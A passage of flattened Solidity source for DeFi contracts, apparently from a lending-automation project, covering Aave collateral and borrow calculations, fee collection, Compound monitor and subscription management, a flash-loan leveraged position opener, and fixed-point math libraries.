-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } abstract contract DSGuard { function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool); function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function permit(address src, address dst, bytes32 sig) public virtual; function forbid(address src, address dst, bytes32 sig) public virtual; } abstract contract DSGuardFactory { function newGuard() public virtual returns (DSGuard guard); } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public virtual payable returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } abstract contract DSProxyFactoryInterface { function build(address owner) public virtual returns (DSProxy proxy); } contract AaveHelper is DSMath { using SafeERC20 for ERC20; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint public constant NINETY_NINE_PERCENT_WEI = 990000000000000000; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @param _collateralAddress underlying token address /// @param _user users address function getMaxCollateral(address _collateralAddress, address _user) public view returns (uint256) { address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider(); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint256 pow10 = 10 ** (18 - _getDecimals(_collateralAddress)); // fetch all needed data (,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLTV,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user); (,uint256 tokenLTV,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress); uint256 collateralPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_collateralAddress); uint256 userTokenBalance = ILendingPool(lendingPoolCoreAddress).getUserUnderlyingAssetBalance(_collateralAddress, _user); uint256 userTokenBalanceEth = wmul(userTokenBalance * pow10, collateralPrice); // if borrow is 0, return whole user balance if (totalBorrowsETH == 0) { return userTokenBalance; } uint256 maxCollateralEth = div(sub(mul(currentLTV, totalCollateralETH), mul(totalBorrowsETH, 100)), currentLTV); /// @dev final amount can't be higher than users token balance maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; // might happen due to wmul precision if (maxCollateralEth >= totalCollateralETH) { return wdiv(totalCollateralETH, collateralPrice) / pow10; } // get sum of all other reserves multiplied with their liquidation thresholds by reversing formula uint256 a = sub(wmul(currentLTV, totalCollateralETH), wmul(tokenLTV, userTokenBalanceEth)); // add new collateral amount multiplied by its threshold, and then divide with new total collateral uint256 newLiquidationThreshold = wdiv(add(a, wmul(sub(userTokenBalanceEth, maxCollateralEth), tokenLTV)), sub(totalCollateralETH, maxCollateralEth)); // if new threshold is lower than first one, calculate new max collateral with newLiquidationThreshold if (newLiquidationThreshold < currentLTV) { maxCollateralEth = div(sub(mul(newLiquidationThreshold, totalCollateralETH), mul(totalBorrowsETH, 100)), newLiquidationThreshold); maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; } return wmul(wdiv(maxCollateralEth, collateralPrice) / pow10, NINETY_NINE_PERCENT_WEI); } /// @param _borrowAddress underlying token address /// @param _user users address function getMaxBorrow(address _borrowAddress, address _user) public view returns (uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); (,,,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress); return wmul(wdiv(availableBorrowsETH, borrowPrice) / (10 ** (18 - _getDecimals(_borrowAddress))), NINETY_NINE_PERCENT_WEI); } function getMaxBoost(address _borrowAddress, address _collateralAddress, address _user) public view returns (uint256) { address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider(); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); (,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLTV,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user); (,uint256 tokenLTV,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress); totalCollateralETH = div(mul(totalCollateralETH, currentLTV), 100); uint256 availableBorrowsETH = wmul(mul(div(sub(totalCollateralETH, totalBorrowsETH), sub(100, tokenLTV)), 100), NINETY_NINE_PERCENT_WEI); uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress); return wdiv(availableBorrowsETH, borrowPrice) / (10 ** (18 - _getDecimals(_borrowAddress))); } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint feeAmount) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr); _gasCost = wdiv(_gasCost, price) / (10 ** (18 - _getDecimals(_tokenAddr))); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (_tokenAddr == ETH_ADDR) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Calculates the gas cost for transaction /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return gasCost The amount we took for the gas cost function getGasCost(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); if (_gasCost != 0) { uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr); _gasCost = wmul(_gasCost, price); gasCost = _gasCost; } // fee can't go over 20% of the whole amount if (gasCost > (_amount / 5)) { gasCost = _amount / 5; } if (_tokenAddr == ETH_ADDR) { WALLET_ADDR.transfer(gasCost); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, gasCost); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(payable(address(this))); return proxy.owner(); } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } /// @notice Send specific amount from contract to specific user /// @param _token Token we are trying to send /// @param _user User that should receive funds /// @param _amount Amount that should be sent function sendContractBalance(address _token, address _user, uint _amount) public { if (_amount == 0) return; if (_token == ETH_ADDR) { payable(_user).transfer(_amount); } else { ERC20(_token).safeTransfer(_user, _amount); } } function sendFullContractBalance(address _token, address _user) public { if (_token == ETH_ADDR) { sendContractBalance(_token, _user, address(this).balance); } else { sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this))); } } function _getDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return ERC20(_token).decimals(); } } contract AaveSafetyRatio is AaveHelper { function getSafetyRatio(address _user) public view returns(uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,uint256 totalBorrowsETH,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); if (totalBorrowsETH == 0) return uint256(0); return wdiv(add(totalBorrowsETH, availableBorrowsETH), totalBorrowsETH); } } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } constructor() public { owner = msg.sender; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } contract Auth is AdminAuth { bool public ALL_AUTHORIZED = false; mapping(address => bool) public authorized; modifier onlyAuthorized() { require(ALL_AUTHORIZED || authorized[msg.sender]); _; } constructor() public { authorized[msg.sender] = true; } function setAuthorized(address _user, bool _approved) public onlyOwner { authorized[_user] = _approved; } function setAllAuthorized(bool _authorized) public onlyOwner { ALL_AUTHORIZED = _authorized; } } contract ProxyPermission { address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; /// @notice Called in the context of DSProxy to authorize an address /// @param _contractAddr Address which will be authorized function givePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } /// @notice Called in the context of DSProxy to remove authority of an address /// @param _contractAddr Auth address which will be removed from authority list function removePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); // if there is no authority, that means that contract doesn't have permission if (currAuthority == address(0)) { return; } DSGuard guard = DSGuard(currAuthority); guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } function proxyOwner() internal returns(address) { return DSAuth(address(this)).owner(); } } contract CompoundMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _compoundSaverProxy Address of CompoundSaverProxy /// @param _data Data to send to CompoundSaverProxy function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } contract CompoundSubscriptions is AdminAuth { struct CompoundHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } CompoundHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Compound position /// @notice Adds the users Compound poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; CompoundHolder memory subscription = CompoundHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Compound position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Compound position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Compound position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (CompoundHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (CompoundHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (CompoundHolder[] memory) { CompoundHolder[] memory holders = new CompoundHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a CDP /// @param _user The actual address that owns the Compound position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } contract CompoundSubscriptionsProxy is ProxyPermission { address public constant COMPOUND_SUBSCRIPTION_ADDRESS = 0x52015EFFD577E08f498a0CCc11905925D58D6207; address public constant COMPOUND_MONITOR_PROXY = 0xB1cF8DE8e791E4Ed1Bd86c03E2fc1f14389Cb10a; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(COMPOUND_MONITOR_PROXY); ICompoundSubscription(COMPOUND_SUBSCRIPTION_ADDRESS).unsubscribe(); } } contract CompoundCreateTaker is ProxyPermission { using SafeERC20 for ERC20; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateInfo { address cCollAddress; address cBorrowAddress; uint depositAmount; } /// @notice Main function which will take a FL and open a leverage position /// @dev Call through DSProxy, if _exchangeData.destAddr is a token approve DSProxy /// @param _createInfo [cCollAddress, cBorrowAddress, depositAmount] /// @param _exchangeData Exchange data struct function openLeveragedLoan( CreateInfo memory _createInfo, SaverExchangeCore.ExchangeData memory _exchangeData, address payable _compReceiver ) public payable { uint loanAmount = _exchangeData.srcAmount; // Pull tokens from user if (_exchangeData.destAddr != ETH_ADDRESS) { ERC20(_exchangeData.destAddr).safeTransferFrom(msg.sender, address(this), _createInfo.depositAmount); } else { require(msg.value >= _createInfo.depositAmount, "Must send correct amount of eth"); } // Send tokens to FL receiver sendDeposit(_compReceiver, _exchangeData.destAddr); // Pack the struct data (uint[4] memory numData, address[6] memory cAddresses, bytes memory callData) = _packData(_createInfo, _exchangeData); bytes memory paramsData = abi.encode(numData, cAddresses, callData, address(this)); givePermission(_compReceiver); lendingPool.flashLoan(_compReceiver, _exchangeData.srcAddr, loanAmount, paramsData); removePermission(_compReceiver); logger.Log(address(this), msg.sender, "CompoundLeveragedLoan", abi.encode(_exchangeData.srcAddr, _exchangeData.destAddr, _exchangeData.srcAmount, _exchangeData.destAmount)); } function sendDeposit(address payable _compoundReceiver, address _token) internal { if (_token != ETH_ADDRESS) { ERC20(_token).safeTransfer(_compoundReceiver, ERC20(_token).balanceOf(address(this))); } _compoundReceiver.transfer(address(this).balance); } function _packData( CreateInfo memory _createInfo, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[4] memory numData, address[6] memory cAddresses, bytes memory callData) { numData = [ exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; cAddresses = [ _createInfo.cCollAddress, _createInfo.cBorrowAddress, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; callData = exchangeData.callData; } } contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a 